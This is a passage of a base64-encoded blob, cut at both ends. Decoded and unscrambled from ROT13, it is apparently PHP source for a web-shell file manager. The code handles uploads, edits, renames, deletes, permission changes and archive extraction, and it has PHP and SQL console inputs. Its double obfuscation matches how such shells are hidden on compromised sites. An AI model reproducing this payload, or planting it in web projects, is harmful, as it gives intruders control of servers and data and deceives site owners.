G5wZ3ZpciA9IHZmZnJnKCRfQ0JGR1skZXJmX3lhdC4nX2djeSddKSA/ICRfQ0JGR1skZXJmX3lhdC4nX2djeSddIDogJyc7DQoJJGZyeXJwZyA9ICc8ZnJ5cnBnIGFuenI9IicuJGVyZl95YXQuJ19nY3kiIGd2Z3lyPSInLl9fKCdHcnpjeW5ncicpLiciIGJhcHVuYXRyPSJ2cyAoZ3V2Zi5pbnlociE9LTEpIHFicGh6cmFnLnNiZXpmW1wncGJhZmJ5clwnXS5yeXJ6cmFnZltcJycuJGVyZl95YXQuJ1wnXS5pbnlociA9IGd1dmYuYmNndmJhZltmcnlycGdycVZhcXJrXS5pbnlocjsgcnlmciBxYnBoenJhZy5zYmV6ZltcJ3BiYWZieXJcJ10ucnlyenJhZ2ZbXCcnLiRlcmZfeWF0LidcJ10uaW55aHIgPVwnXCc7IiA+Jy4iXGEiOw0KCSRmcnlycGcgLj0gJzxiY2d2YmEgaW55aHI9Ii0xIj4nIC4gX18oJ0ZyeXJwZycpIC4gIjwvYmNndmJhPlxhIjsNCglzYmVybnB1ICgkZ3pjeSBuZiAkeHJsPT4kaW55aHIpew0KCQkkZnJ5cnBnLj0nPGJjZ3ZiYSBpbnlocj0iJy4kaW55aHIuJyIgJy4oKCFyemNnbCgkaW55aHIpJiYoJGlueWhyPT0kbnBndmlyKSk/J2ZyeXJwZ3JxJzonJykuJyA+Jy5fXygkeHJsKS4iPC9iY2d2YmE+XGEiOw0KCX0NCgkkZnJ5cnBnIC49ICI8L2ZyeXJwZz5cYSI7DQoJcnB1YiAkZnJ5cnBnOw0KfQ0KPz4NCgkJPC9zYmV6Pg0KCTwvZ3E+DQo8L2dlPg0KPC9nbm95cj4NCjw/Y3VjDQoJdnMgKCFyemNnbCgkZXJmKSkgew0KCQkkc2hhPSdzel8nLiRlcmZfeWF0Ow0KCQlycHViICc8dTM+Jy5mZ2VnYmhjY3JlKCRlcmZfeWF0KS4nICcuX18oJ0VyZmh5ZycpLic8L3UzPjxjZXI+Jy4kc2hhKCRlcmYpLic8L2Nlcj4nOw0KCX0NCn0gcnlmcnZzICghcnpjZ2woJF9FUkRIUkZHWydycXZnJ10pKXsNCgl2cyghcnpjZ2woJF9FUkRIUkZHWydmbmlyJ10pKSB7DQoJCSRzYSA9ICRjbmd1IC4gJF9FUkRIUkZHWydycXZnJ107DQoJCSRzdnlyemd2enIgPSBzdnlyemd2enIoJHNhKTsNCgkgICAgdnMgKHN2eXJfY2hnX3BiYWdyYWdmKCRzYSwgJF9FUkRIUkZHWydhcmpwYmFncmFnJ10pKSAkemZ0IC49IF9fKCdTdnlyIGhjcW5ncnEnKTsNCgkJcnlmciAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpOw0KCQl2cyAoJF9UUkdbJ3JxdmcnXT09b25mcmFuenIoX19TVllSX18pKSB7DQoJCQlnYmhwdShfX1NWWVJfXywxNDE1MTE2MzcxKTsNCgkJfSByeWZyIHsNCgkJCXZzICghcnpjZ2woJHN6X3BiYXN2dFsnZXJmZ2Jlcl9ndnpyJ10pKSBnYmhwdSgkc2EsJHN2eXJ6Z3Z6cik7DQoJCX0NCgl9DQogICAgJGJ5cXBiYWdyYWcgPSBAc3Z5cl90cmdfcGJhZ3JhZ2YoJGNuZ3UgLiAkX0VSREhSRkdbJ3JxdmcnXSk7DQogICAgJHJxdmd5dmF4ID0gJGhleV92YXAgLiAnJnJxdmc9JyAuICRfRVJESFJGR1sncnF2ZyddIC4gJyZjbmd1PScgLiAkY25ndTsNCiAgICAkb25weHl2YXggPSAkaGV5X3ZhcCAuICcmY25ndT0nIC4gJGNuZ3U7DQo/Pg0KPGdub3lyIG9iZXFyZT0nMCcgcHJ5eWZjbnB2YXQ9JzAnIHByeXljbnFxdmF0PScxJyBqdnFndT0iMTAwJSI+DQo8Z2U+DQogICAgPGd1Pjw/PV9fKCdTdnlyIHpuYW50cmUnKS4nIC0gJy5fXygnUnF2ZycpLicgLSAnLiRjbmd1LiRfRVJESFJGR1sncnF2ZyddPz48L2d1Pg0KPC9nZT4NCjxnZT4NCiAgICA8Z3EgcHluZmY9ImViajEiPg0KICAgICAgICA8Pz0kemZ0Pz4NCgk8L2dxPg0KPC9nZT4NCjxnZT4NCiAgICA8Z3EgcHluZmY9ImViajEiPg0KICAgICAgICA8Pz1zel91YnpyKCk/PiA8biB1ZXJzPSI8Pz0kb25weHl2YXg/PiI+PD89X18oJ09ucHgnKT8+PC9uPg0KCTwvZ3E+DQo8L2dlPg0KPGdlPg0KICAgIDxncSBweW5mZj0iZWJqMSIgbnl2dGE9InByYWdyZSI+DQogICAgICAgIDxzYmV6IGFuenI9InNiZXoxIiB6cmd1YnE9ImNiZmciIG5wZ3ZiYT0iPD89JHJxdmd5dmF4Pz4iPg0KICAgICAgICAgICAgPGdya2duZXJuIGFuenI9ImFyanBiYWdyYWciIHZxPSJhcmpwYmFncmFnIiBwYnlmPSI0NSIgZWJqZj0iMTUiIGZnbHlyPSJqdnFndTo5OSUiIGZjcnl5cHVycHg9InNueWZyIj48Pz11Z3p5ZmNycHZueXB1bmVmKCRieXFwYmFncmFnKT8+PC9ncmtnbmVybj4NCiAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9ImZuaXIiIGlueWhyPSI8Pz1fXygnRmhvenZnJyk/PiI+DQogICAgICAgICAgICA8dmFjaGcgZ2xjcj0iZmhvenZnIiBhbnpyPSJwbmFwcnkiIGlueWhyPSI8Pz1fXygnUG5hcHJ5Jyk/PiI+DQogICAgICAgIDwvc2Jlej4NCiAgICA8L2dxPg0KPC9nZT4NCjwvZ25veXI+DQo8P2N1Yw0KcnB1YiAkbmhndVsnZnBldmNnJ107DQp9IHJ5ZnJ2cyghcnpjZ2woJF9FUkRIUkZHWydldnR1Z2YnXSkpew0KCXZzKCFyemNnbCgkX0VSREhSRkdbJ2ZuaXInXSkpIHsNCgkgICAgdnMoc3pfcHV6YnEoJGNuZ3UgLiAkX0VSREhSRkdbJ2V2dHVnZiddLCBzel9wYmFpcmVnX2V2dHVnZigkX0VSREhSRkdbJ2V2dHVnZl9pbnknXSksIEAkX0VSREhSRkdbJ2VycGhlZnZpcnlsJ10pKQ0KCQkkemZ0IC49IChfXygnU3Z5ciBoY3FuZ3JxJykpOyANCgkJcnlmciAkemZ0IC49IChfXygnUmVlYmUgYnBwaGVlcnEnKSk7DQoJfQ0KCXB5cm5lZmduZ3BucHVyKCk7DQogICAgJGJ5cWV2dHVnZiA9IHN6X2V2dHVnZl9mZ2V2YXQoJGNuZ3UgLiAkX0VSREhSRkdbJ2V2dHVnZiddLCBnZWhyKTsNCiAgICAkeXZheCA9ICRoZXlfdmFwIC4gJyZldnR1Z2Y9JyAuICRfRVJESFJGR1snZXZ0dWdmJ10gLiAnJmNuZ3U9JyAuICRjbmd1Ow0KICAgICRvbnB4eXZheCA9ICRoZXlfdmFwIC4gJyZjbmd1PScgLiAkY25ndTsNCj8+DQo8Z25veXIgcHluZmY9Imp1YnlyIj4NCjxnZT4NCiAgICA8Z3U+PD89X18oJ1N2eXIgem5hbnRyZScpLicgLSAnLiRjbmd1Pz48L2d1Pg0KPC9nZT4NCjxnZT4NCiAgICA8Z3EgcHluZmY9ImViajEiPg0KICAgICAgICA8Pz0kemZ0Pz4NCgk8L2dxPg0KPC9nZT4NCjxnZT4NCiAgICA8Z3EgcHluZmY9ImViajEiPg0KICAgICAgICA8biB1ZXJzPSI8Pz0kb25weHl2YXg/PiI+PD89X18oJ09ucHgnKT8+PC9uPg0KCTwvZ3E+DQo8L2dlPg0KPGdlPg0KICAgIDxncSBweW5mZj0iZWJqMSIgbnl2dGE9InByYWdyZSI+DQogICAgICAgIDxzYmV6IGFuenI9InNiZXoxIiB6cmd1YnE9ImNiZmciIG5wZ3ZiYT0iPD89JHl2YXg/PiI+DQogICAgICAgICAgIDw/PV9fKCdFdnR1Z2YnKS4nIC0gJy4kX0VSREhSRkdbJ2V2dHVnZiddPz4gPHZhY2hnIGdsY3I9Imdya2ciIGFuenI9ImV2dHVnZl9pbnkiIGlueWhyPSI8Pz0kYnlxZXZ0dWdmPz4iPg0KICAgICAgICA8P2N1YyB2cyAodmZfcXZlKCRjbmd1LiRfRVJESFJGR1snZXZ0dWdmJ10pKSB7ID8+DQogICAgICAgICAgICA8dmFjaGcgZ2xjcj0icHVycHhvYmsiIGFuenI9ImVycGhlZnZpcnlsIiBpbnlocj0iMSI+IDw/PV9fKCdFcnBoZWZ2aXJ5bCcpPz48b2UvPg0KICAgICAgICA8P2N1YyB9ID8+DQogICAgICAgICAgICA8dmFjaGcgZ2xjcj0iZmhvenZnIiBhbnpyPSJmbmlyIiBpbnlocj0iPD89X18oJ0Zob3p2ZycpPz4iPg0KICAgICAgICA8L3NiZXo+DQogICAgPC9ncT4NCjwvZ2U+DQo8L2dub3lyPg0KPD9jdWMNCn0gcnlmcnZzICghcnpjZ2woJF9FUkRIUkZHWydlcmFuenInXSkmJiRfRVJESFJGR1snZXJhbnpyJ108PicuJykgew0KCXZzKCFyemNnbCgkX0VSREhSRkdbJ2ZuaXInXSkpIHsNCgkgICAgZXJhbnpyKCRjbmd1IC4gJF9FUkRIUkZHWydlcmFuenInXSwgJGNuZ3UgLiAkX0VSREhSRkdbJ2FyamFuenInXSk7DQoJCSR6ZnQgLj0gKF9fKCdTdnlyIGhjcW5ncnEnKSk7DQoJCSRfRVJESFJGR1snZXJhbnpyJ10gPSAkX0VSREhSRkdbJ2FyamFuenInXTsNCgl9DQoJcHlybmVmZ25ncG5wdXIoKTsNCiAgICAkeXZheCA9ICRoZXlfdmFwIC4gJyZlcmFuenI9JyAuICRfRVJESFJGR1snZXJhbnpyJ10gLiAnJmNuZ3U9JyAuICRjbmd1Ow0KICAgICRvbnB4eXZheCA9ICRoZXlfdmFwIC4gJyZjbmd1PScgLiAkY25ndTsNCg0KPz4NCjxnbm95ciBweW5mZj0ianVieXIiPg0KPGdlPg0KICAgIDxndT48Pz1fXygnU3Z5ciB6bmFudHJlJykuJyAtICcuJGNuZ3U/PjwvZ3U+DQo8L2dlPg0KPGdlPg0KICAgIDxncSBweW5mZj0iZWJqMSI+DQogICAgICAgIDw/PSR6ZnQ/Pg0KCTwvZ3E+DQo8L2dlPg0KPGdlPg0KICAgIDxncSBweW5mZj0iZWJqMSI+DQogICAgICAgIDxuIHVlcnM9Ijw/PSRvbnB4eXZheD8+Ij48Pz1fXygnT25weCcpPz48L24+DQoJPC9ncT4NCjwvZ2U+DQo8Z2U+DQogICAgPGdxIHB5bmZmPSJlYmoxIiBueXZ0YT0icHJhZ3JlIj4NCiAgICAgICAgPHNiZXogYW56cj0ic2JlejEiIHpyZ3VicT0iY2JmZyIgbnBndmJhPSI8Pz0keXZheD8+Ij4NCiAgICAgICAgICAgIDw/PV9fKCdFcmFuenInKT8+OiA8dmFjaGcgZ2xjcj0iZ3JrZyIgYW56cj0iYXJqYW56ciIgaW55aHI9Ijw/PSRfRVJESFJGR1snZXJhbnpyJ10/PiI+PG9lLz4NCiAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9ImZuaXIiIGlueWhyPSI8Pz1fXygnRmhvenZnJyk/PiI+DQogICAgICAgIDwvc2Jlej4NCiAgICA8L2dxPg0KPC9nZT4NCjwvZ25veXI+DQo8P2N1Yw0KfSByeWZyIHsNCi8vWXJnJ2YgZWJweCENCiAgICAkemZ0ID0gJyc7DQogICAgdnMoIXJ6Y2dsKCRfU1ZZUkZbJ2hjeWJucSddKSYmIXJ6Y2dsKCRzel9wYmFzdnRbJ2hjeWJucV9zdnlyJ10pKSB7DQogICAgICAgIHZzKCFyemNnbCgkX1NWWVJGWydoY3libnEnXVsnYW56ciddKSl7DQogICAgICAgICAgICAkX1NWWVJGWydoY3libnEnXVsnYW56ciddID0gZmdlX2VyY3lucHIoJyUnLCAnJywgJF9TVllSRlsnaGN5Ym5xJ11bJ2FuenInXSk7DQogICAgICAgICAgICB2cyghemJpcl9oY3libnFycV9zdnlyKCRfU1ZZUkZbJ2hjeWJucSddWydnemNfYW56ciddLCAkY25ndSAuICRfU1ZZUkZbJ2hjeWJucSddWydhbnpyJ10pKXsNCiAgICAgICAgICAgICAgICAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpOw0KICAgICAgICAgICAgfSByeWZyIHsNCgkJCQkkemZ0IC49IF9fKCdTdnlyZiBoY3libnFycScpLic6ICcuJF9TVllSRlsnaGN5Ym5xJ11bJ2FuenInXTsNCgkJCX0NCiAgICAgICAgfQ0KICAgIH0gcnlmcnZzKCFyemNnbCgkX0VSREhSRkdbJ3FyeXJnciddKSYmJF9FUkRIUkZHWydxcnlyZ3InXTw+Jy4nKSB7DQogICAgICAgIHZzKCFzel9xcnlfc3Z5cmYoKCRjbmd1IC4gJF9FUkRIUkZHWydxcnlyZ3InXSksIGdlaHIpKSB7DQogICAgICAgICAgICAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpOw0KICAgICAgICB9IHJ5ZnIgew0KCQkJJHpmdCAuPSBfXygnUXJ5cmdycScpLicgJy4kX0VSREhSRkdbJ3FyeXJnciddOw0KCQl9DQoJfSByeWZydnMoIXJ6Y2dsKCRfRVJESFJGR1snenhxdmUnXSkmJiFyemNnbCgkc3pfcGJhc3Z0Wyd6bnhyX3F2ZXJwZ2JlbCddKSkgew0KICAgICAgICB2cyghQHp4cXZlKCRjbmd1IC4gJF9FUkRIUkZHWydxdmVhbnpyJ10sMDc3NykpIHsNCiAgICAgICAgICAgICR6ZnQgLj0gX18oJ1JlZWJlIGJwcGhlZXJxJyk7DQogICAgICAgIH0gcnlmciB7DQoJCQkkemZ0IC49IF9fKCdQZXJuZ3JxJykuJyAnLiRfRVJESFJGR1sncXZlYW56ciddOw0KCQl9DQogICAgfSByeWZydnMoIXJ6Y2dsKCRfRVJESFJGR1snenhzdnlyJ10pJiYhcnpjZ2woJHN6X3BiYXN2dFsnYXJqX3N2eXInXSkpIHsNCiAgICAgICAgdnMoISRzYz1Ac2JjcmEoJGNuZ3UgLiAkX0VSREhSRkdbJ3N2eXJhbnpyJ10sImoiKSkgew0KICAgICAgICAgICAgJHpmdCAuPSBfXygnUmVlYmUgYnBwaGVlcnEnKTsNCiAgICAgICAgfSByeWZyIHsNCgkJCXNweWJmcigkc2MpOw0KCQkJJHpmdCAuPSBfXygnUGVybmdycScpLicgJy4kX0VSREhSRkdbJ3N2eXJhbnpyJ107DQoJCX0NCiAgICB9IHJ5ZnJ2cyAodmZmcmcoJF9UUkdbJ212YyddKSkgew0KCQkkZmJoZXByID0gb25mcjY0X3FycGJxcigkX1RSR1snbXZjJ10pOw0KCQkkcXJmZ3Zhbmd2YmEgPSBvbmZyYW56cigkZmJoZXByKS4nLm12Yyc7DQoJCWZyZ19ndnpyX3l2enZnKDApOw0KCQkkY3VuZSA9IGFyaiBDdW5lUW5nbigkcXJmZ3Zhbmd2YmEpOw0KCQkkY3VuZS0+b2h2eXFTZWJ6UXZlcnBnYmVsKCRmYmhlcHIpOw0KCQl2cyAodmZfc3Z5cigkcXJmZ3Zhbmd2YmEpKQ0KCQkkemZ0IC49IF9fKCdHbmZ4JykuJyAiJy5fXygnTmVwdXZpdmF0JykuJyAnLiRxcmZndmFuZ3ZiYS4nIiAnLl9fKCdxYmFyJykuDQoJCScuJmFvZmM7Jy5zel95dmF4KCdxYmpheWJucScsJGNuZ3UuJHFyZmd2YW5ndmJhLF9fKCdRYmpheWJucScpLF9fKCdRYmpheWJucScpLicgJy4gJHFyZmd2YW5ndmJhKQ0KCQkuJyZhb2ZjOzxuIHVlcnM9IicuJGhleV92YXAuJyZxcnlyZ3I9Jy4kcXJmZ3Zhbmd2YmEuJyZjbmd1PScgLiAkY25ndS4nIiBndmd5cj0iJy5fXygnUXJ5cmdyJykuJyAnLiAkcXJmZ3Zhbmd2YmEuJyIgPicuX18oJ1FyeXJncicpIC4gJzwvbj4nOw0KCQlyeWZyICR6ZnQgLj0gX18oJ1JlZWJlIGJwcGhlZXJxJykuJzogJy5fXygnYWIgc3Z5cmYnKTsNCgl9IHJ5ZnJ2cyAodmZmcmcoJF9UUkdbJ3RtJ10pKSB7DQoJCSRmYmhlcHIgPSBvbmZyNjRfcXJwYnFyKCRfVFJHWyd0bSddKTsNCgkJJG5lcHV2aXIgPSAkZmJoZXByLicuZ25lJzsNCgkJJHFyZmd2YW5ndmJhID0gb25mcmFuenIoJGZiaGVwcikuJy5nbmUnOw0KCQl2cyAodmZfc3Z5cigkbmVwdXZpcikpIGhheXZheCgkbmVwdXZpcik7DQoJCXZzICh2Zl9zdnlyKCRuZXB1dmlyLicudG0nKSkgaGF5dmF4KCRuZXB1dmlyLicudG0nKTsNCgkJcHlybmVmZ25ncG5wdXIoKTsNCgkJZnJnX2d2enJfeXZ6dmcoMCk7DQoJCS8vcXZyKCk7DQoJCSRjdW5lID0gYXJqIEN1bmVRbmduKCRxcmZndmFuZ3ZiYSk7DQoJCSRjdW5lLT5vaHZ5cVNlYnpRdmVycGdiZWwoJGZiaGVwcik7DQoJCSRjdW5lLT5wYnpjZXJmZihDdW5lOjpUTSwnLmduZS50bScpOw0KCQloYWZyZygkY3VuZSk7DQoJCXZzICh2Zl9zdnlyKCRuZXB1dmlyKSkgew0KCQkJdnMgKHZmX3N2eXIoJG5lcHV2aXIuJy50bScpKSB7DQoJCQkJaGF5dmF4KCRuZXB1dmlyKTsgDQoJCQkJJHFyZmd2YW5ndmJhIC49ICcudG0nOw0KCQkJfQ0KDQoJCQkkemZ0IC49IF9fKCdHbmZ4JykuJyAiJy5fXygnTmVwdXZpdmF0JykuJyAnLiRxcmZndmFuZ3ZiYS4nIiAnLl9fKCdxYmFyJykuDQoJCQknLiZhb2ZjOycuc3pfeXZheCgncWJqYXlibnEnLCRjbmd1LiRxcmZndmFuZ3ZiYSxfXygnUWJqYXlibnEnKSxfXygnUWJqYXlibnEnKS4nICcuICRxcmZndmFuZ3ZiYSkNCgkJCS4nJmFvZmM7PG4gdWVycz0iJy4kaGV5X3ZhcC4nJnFyeXJncj0nLiRxcmZndmFuZ3ZiYS4nJmNuZ3U9JyAuICRjbmd1LiciIGd2Z3lyPSInLl9fKCdRcnlyZ3InKS4nICcuJHFyZmd2YW5ndmJhLiciID4nLl9fKCdRcnlyZ3InKS4nPC9uPic7DQoJCX0gcnlmciAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpLic6ICcuX18oJ2FiIHN2eXJmJyk7DQoJfSByeWZydnMgKHZmZnJnKCRfVFJHWydxcnBiemNlcmZmJ10pKSB7DQoJCS8vICRmYmhlcHIgPSBvbmZyNjRfcXJwYnFyKCRfVFJHWydxcnBiemNlcmZmJ10pOw0KCQkvLyAkcXJmZ3Zhbmd2YmEgPSBvbmZyYW56cigkZmJoZXByKTsNCgkJLy8gJHJrZyA9IHJhcShya2N5YnFyKCIuIiwgJHFyZmd2YW5ndmJhKSk7DQoJCS8vIHZzICgkcmtnPT0nbXZjJyBCRSAkcmtnPT0ndG0nKSB7DQoJCQkvLyAkY3VuZSA9IGFyaiBDdW5lUW5nbigkZmJoZXByKTsNCgkJCS8vICRjdW5lLT5xcnBiemNlcmZmKCk7DQoJCQkvLyAkb25mcl9zdnlyID0gZmdlX2VyY3lucHIoJy4nLiRya2csJycsJHFyZmd2YW5ndmJhKTsNCgkJCS8vICRya2cgPSByYXEocmtjeWJxcigiLiIsICRvbmZyX3N2eXIpKTsNCgkJCS8vIHZzICgkcmtnPT0nZ25lJyl7DQoJCQkJLy8gJGN1bmUgPSBhcmogQ3VuZVFuZ24oJG9uZnJfc3Z5cik7DQoJCQkJLy8gJGN1bmUtPnJrZ2VucGdHYihxdmUoJGZiaGVwcikpOw0KCQkJLy8gfQ0KCQkvLyB9IA0KCQkvLyAkemZ0IC49IF9fKCdHbmZ4JykuJyAiJy5fXygnUXJwYnpjZXJmZicpLicgJy4kZmJoZXByLiciICcuX18oJ3FiYXInKTsNCgl9IHJ5ZnJ2cyAodmZmcmcoJF9UUkdbJ3Rtc3Z5ciddKSkgew0KCQkkZmJoZXByID0gb25mcjY0X3FycGJxcigkX1RSR1sndG1zdnlyJ10pOw0KCQkkbmVwdXZpciA9ICRmYmhlcHIuJy5nbmUnOw0KCQkkcXJmZ3Zhbmd2YmEgPSBvbmZyYW56cigkZmJoZXByKS4nLmduZSc7DQoJCXZzICh2Zl9zdnlyKCRuZXB1dmlyKSkgaGF5dmF4KCRuZXB1dmlyKTsNCgkJdnMgKHZmX3N2eXIoJG5lcHV2aXIuJy50bScpKSBoYXl2YXgoJG5lcHV2aXIuJy50bScpOw0KCQlmcmdfZ3Z6cl95dnp2ZygwKTsNCgkJLy9ycHViICRxcmZndmFuZ3ZiYTsNCgkJJHJrZ19uZWUgPSBya2N5YnFyKCcuJyxvbmZyYW56cigkZmJoZXByKSk7DQoJCXZzICh2ZmZyZygkcmtnX25lZVsxXSkpIHsNCgkJCWhhZnJnKCRya2dfbmVlWzBdKTsNCgkJCSRya2c9dnpjeWJxcignLicsJHJrZ19uZWUpOw0KCQl9IA0KCQkkY3VuZSA9IGFyaiBDdW5lUW5nbigkcXJmZ3Zhbmd2YmEpOw0KCQkkY3VuZS0+bnFxU3Z5cigkZmJoZXByKTsNCgkJJGN1bmUtPnBiemNlcmZmKEN1bmU6OlRNLCRya2cuJy5nbmUudG0nKTsNCgkJaGFmcmcoJGN1bmUpOw0KCQl2cyAodmZfc3Z5cigkbmVwdXZpcikpIHsNCgkJCXZzICh2Zl9zdnlyKCRuZXB1dmlyLicudG0nKSkgew0KCQkJCWhheXZheCgkbmVwdXZpcik7IA0KCQkJCSRxcmZndmFuZ3ZiYSAuPSAnLnRtJzsNCgkJCX0NCgkJCSR6ZnQgLj0gX18oJ0duZngnKS4nICInLl9fKCdOZXB1dml2YXQnKS4nICcuJHFyZmd2YW5ndmJhLiciICcuX18oJ3FiYXInKS4NCgkJCScuJmFvZmM7Jy5zel95dmF4KCdxYmpheWJucScsJGNuZ3UuJHFyZmd2YW5ndmJhLF9fKCdRYmpheWJucScpLF9fKCdRYmpheWJucScpLicgJy4gJHFyZmd2YW5ndmJhKQ0KCQkJLicmYW9mYzs8biB1ZXJzPSInLiRoZXlfdmFwLicmcXJ5cmdyPScuJHFyZmd2YW5ndmJhLicmY25ndT0nIC4gJGNuZ3UuJyIgZ3ZneXI9IicuX18oJ1FyeXJncicpLicgJy4kcXJmZ3Zhbmd2YmEuJyIgPicuX18oJ1FyeXJncicpLic8L24+JzsNCgkJfSByeWZyICR6ZnQgLj0gX18oJ1JlZWJlIGJwcGhlZXJxJykuJzogJy5fXygnYWIgc3Z5cmYnKTsNCgl9DQo/Pg0KPGdub3lyIHB5bmZmPSJqdWJ5ciIgdnE9InVybnFyZV9nbm95ciIgPg0KPGdlPg0KICAgIDxndSBwYnlmY25hPSIyIj48Pz1fXygnU3Z5ciB6bmFudHJlJyk/Pjw/PSghcnpjZ2woJGNuZ3UpPycgLSAnLiRjbmd1OicnKT8+PC9ndT4NCjwvZ2U+DQo8P2N1YyB2cyghcnpjZ2woJHpmdCkpeyA/Pg0KPGdlPg0KCTxncSBwYnlmY25hPSIyIiBweW5mZj0iZWJqMiI+PD89JHpmdD8+PC9ncT4NCjwvZ2U+DQo8P2N1YyB9ID8+DQo8Z2U+DQogICAgPGdxIHB5bmZmPSJlYmoyIj4NCgkJPGdub3lyPg0KCQkJPGdlPg0KCQkJPGdxPg0KCQkJCTw/PXN6X3VienIoKT8+DQoJCQk8L2dxPg0KCQkJPGdxPg0KCQkJPD9jdWMgdnMoIXJ6Y2dsKCRzel9wYmFzdnRbJ3pueHJfcXZlcnBnYmVsJ10pKSB7ID8+DQoJCQkJPHNiZXogenJndWJxPSJjYmZnIiBucGd2YmE9Ijw/PSRoZXlfdmFwPz4iPg0KCQkJCTx2YWNoZyBnbGNyPSJ1dnFxcmEiIGFuenI9ImNuZ3UiIGlueWhyPSI8Pz0kY25ndT8+IiAvPg0KCQkJCTx2YWNoZyBnbGNyPSJncmtnIiBhbnpyPSJxdmVhbnpyIiBmdm1yPSIxNSI+DQoJCQkJPHZhY2hnIGdsY3I9ImZob3p2ZyIgYW56cj0ienhxdmUiIGlueWhyPSI8Pz1fXygnWm54ciBxdmVycGdiZWwnKT8+Ij4NCgkJCQk8L3NiZXo+DQoJCQk8P2N1YyB9ID8+DQoJCQk8L2dxPg0KCQkJPGdxPg0KCQkJPD9jdWMgdnMoIXJ6Y2dsKCRzel9wYmFzdnRbJ2Fyal9zdnlyJ10pKSB7ID8+DQoJCQkJPHNiZXogenJndWJxPSJjYmZnIiBucGd2YmE9Ijw/PSRoZXlfdmFwPz4iPg0KCQkJCTx2YWNoZyBnbGNyPSJ1dnFxcmEiIGFuenI9ImNuZ3UiIGlueWhyPSI8Pz0kY25ndT8+IiAvPg0KCQkJCTx2YWNoZyBnbGNyPSJncmtnIiBhbnpyPSJzdnlyYW56ciIgZnZtcj0iMTUiPg0KCQkJCTx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9Inp4c3Z5ciIgaW55aHI9Ijw/PV9fKCdBcmogc3Z5cicpPz4iPg0KCQkJCTwvc2Jlej4NCgkJCTw/Y3VjIH0gPz4NCgkJCTwvZ3E+DQoJCQk8Z3E+DQoJCQk8Pz1zel9laGFfdmFjaGcoJ2N1YycpPz4NCgkJCTwvZ3E+DQoJCQk8Z3E+DQoJCQk8Pz1zel9laGFfdmFjaGcoJ2ZkeScpPz4NCgkJCTwvZ3E+DQoJCQk8L2dlPg0KCQk8L2dub3lyPg0KICAgIDwvZ3E+DQogICAgPGdxIHB5bmZmPSJlYmozIj4NCgkJPGdub3lyPg0KCQk8Z2U+DQoJCTxncT4NCgkJPD9jdWMgdnMgKCFyemNnbCgkc3pfcGJhc3Z0WydoY3libnFfc3Z5ciddKSkgeyA/Pg0KCQkJPHNiZXogYW56cj0ic2JlejEiIHpyZ3VicT0iY2JmZyIgbnBndmJhPSI8Pz0kaGV5X3ZhcD8+IiByYXBnbGNyPSJ6aHlndmNuZWcvc2Jlei1xbmduIj4NCgkJCTx2YWNoZyBnbGNyPSJ1dnFxcmEiIGFuenI9ImNuZ3UiIGlueWhyPSI8Pz0kY25ndT8+IiAvPg0KCQkJPHZhY2hnIGdsY3I9InN2eXIiIGFuenI9ImhjeWJucSIgdnE9ImhjeWJucV91dnFxcmEiIGZnbHlyPSJjYmZ2Z3ZiYTogbm9mYnloZ3I7IHF2ZmN5bmw6IG95YnB4OyBiaXJlc3liajogdXZxcXJhOyBqdnFndTogMDsgdXJ2dHVnOiAwOyBvYmVxcmU6IDA7IGNucXF2YXQ6IDA7IiBiYXB1bmF0cj0icWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ2hjeWJucV9pdmZ2b3lyJykuaW55aHIgPSBndXZmLmlueWhyOyIgLz4NCgkJCTx2YWNoZyBnbGNyPSJncmtnIiBlcm5xYmF5bD0iMSIgdnE9ImhjeWJucV9pdmZ2b3lyIiBjeW5wcnVieXFyZT0iPD89X18oJ0ZyeXJwZyBndXIgc3Z5cicpPz4iIGZnbHlyPSJwaGVmYmU6IGNidmFncmU7IiBiYXB5dnB4PSJxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnaGN5Ym5xX3V2cXFyYScpLnB5dnB4KCk7IiAvPg0KCQkJPHZhY2hnIGdsY3I9ImZob3p2ZyIgYW56cj0iZ3JmZyIgaW55aHI9Ijw/PV9fKCdIY3libnEnKT8+IiAvPg0KCQkJPC9zYmV6Pg0KCQk8P2N1YyB9ID8+DQoJCTwvZ3E+DQoJCTxncT4NCgkJPD9jdWMgdnMgKCRuaGd1WyduaGd1YmV2bXInXSkgeyA/Pg0KCQkJPHNiZXogbnBndmJhPSIiIHpyZ3VicT0iY2JmZyI+JmFvZmM7JmFvZmM7JmFvZmM7DQoJCQk8dmFjaGcgYW56cj0iZGh2ZyIgZ2xjcj0idXZxcXJhIiBpbnlocj0iMSI+DQoJCQk8Pz1fXygnVXJ5eWInKT8+LCA8Pz0kbmhndVsneWJ0dmEnXT8+DQoJCQk8dmFjaGcgZ2xjcj0iZmhvenZnIiBpbnlocj0iPD89X18oJ0RodmcnKT8+Ij4NCgkJCTwvc2Jlej4NCgkJPD9jdWMgfSA/Pg0KCQk8L2dxPg0KCQk8Z3E+DQoJCTw/PXN6X3luYXRfc2JleigkeW5hdGhudHIpPz4NCgkJPC9ncT4NCgkJPGdlPg0KCQk8L2dub3lyPg0KICAgIDwvZ3E+DQo8L2dlPg0KPC9nbm95cj4NCjxnbm95ciBweW5mZj0ibnl5IiBvYmVxcmU9JzAnIHByeXlmY25wdmF0PScxJyBwcnl5Y25xcXZhdD0nMScgdnE9InN6X2dub3lyIiBqdnFndT0iMTAwJSI+DQo8Z3VybnE+DQo8Z2U+IA0KICAgIDxndSBmZ2x5cj0ianV2Z3ItZmNucHI6YWJqZW5jIj4gPD89X18oJ1N2eXJhbnpyJyk/PiA8L2d1Pg0KICAgIDxndSBmZ2x5cj0ianV2Z3ItZmNucHI6YWJqZW5jIj4gPD89X18oJ0Z2bXInKT8+IDwvZ3U+DQogICAgPGd1IGZnbHlyPSJqdXZnci1mY25wcjphYmplbmMiPiA8Pz1fXygnUW5ncicpPz4gPC9ndT4NCiAgICA8Z3UgZmdseXI9Imp1dmdyLWZjbnByOmFiamVuYyI+IDw/PV9fKCdFdnR1Z2YnKT8+IDwvZ3U+DQogICAgPGd1IHBieWZjbmE9IjQiIGZnbHlyPSJqdXZnci1mY25wcjphYmplbmMiPiA8Pz1fXygnWm5hbnRyJyk/PiA8L2d1Pg0KPC9nZT4NCjwvZ3VybnE+D